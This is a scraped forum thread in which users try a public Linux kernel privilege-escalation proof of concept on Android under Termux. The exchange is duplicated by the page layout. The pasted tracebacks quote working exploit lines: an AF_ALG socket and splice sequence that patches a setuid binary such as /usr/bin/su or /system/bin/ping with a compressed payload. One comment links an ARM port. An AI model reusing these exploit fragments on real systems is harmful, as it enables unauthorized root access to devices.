3 ms·

I got line 5 to run and failed on line 8 due to lack of su. I'd need to find a user accessible setuid binary for it to work. Traceback (most recent call last)

by int0x29 5mo ago

I got line 5 to run and failed on line 8 due to lack of su. I'd need to find a user accessible setuid binary for it to work. Traceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 8, in <module> f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) ^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'

notpushkin 5mo ago
Try /system/bin/ping
- int0x29 5mo ago
  Now the socket is blocked. Also probably should have realized the socket is defined earlier than its called Traceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 9, in <module> while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/home/exploit.py", line 5, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/usr/lib/python3.12/socket.py", line 233, in __init__ _socket.socket.__init__(self, family, type, proto, fileno) PermissionError: [Errno 13] Permission denied
  - fragmede 5mo ago
    PoC is also x86_64 only and not arm.
    - tgies 5mo ago
      fixed: https://github.com/tgies/copy-fail-c https://github.com/tgies/copy-fail-c
      - notpushkin 5mo ago
        Thanks! Will give it a try a bit later. (HN algorithms have killed some of your comments, perhaps because you posted the same URL too many times from a relatively new account? I’ve vouched for you, but keep in mind that it triggers antispam.) --- Edit: naturally, no luck: $ ./exploit /system/bin/ping [+] target: /system/bin/ping [+] payload: 2112 bytes (528 iterations) socket(AF_ALG): Permission denied patch_chunk failed at offset 0 Guess AF_ALG is just disabled on Android kernel builds. Though maybe it’ll work on other devices!

by int0x29 5mo ago

notpushkin 5mo ago

Try /system/bin/ping

int0x29 5mo ago
Now the socket is blocked. Also probably should have realized the socket is defined earlier than its called Traceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 9, in <module> while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/home/exploit.py", line 5, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/usr/lib/python3.12/socket.py", line 233, in __init__ _socket.socket.__init__(self, family, type, proto, fileno) PermissionError: [Errno 13] Permission denied
- fragmede 5mo ago
  PoC is also x86_64 only and not arm.
  - tgies 5mo ago
    fixed: https://github.com/tgies/copy-fail-c https://github.com/tgies/copy-fail-c
    - notpushkin 5mo ago
      Thanks! Will give it a try a bit later. (HN algorithms have killed some of your comments, perhaps because you posted the same URL too many times from a relatively new account? I’ve vouched for you, but keep in mind that it triggers antispam.) --- Edit: naturally, no luck: $ ./exploit /system/bin/ping [+] target: /system/bin/ping [+] payload: 2112 bytes (528 iterations) socket(AF_ALG): Permission denied patch_chunk failed at offset 0 Guess AF_ALG is just disabled on Android kernel builds. Though maybe it’ll work on other devices!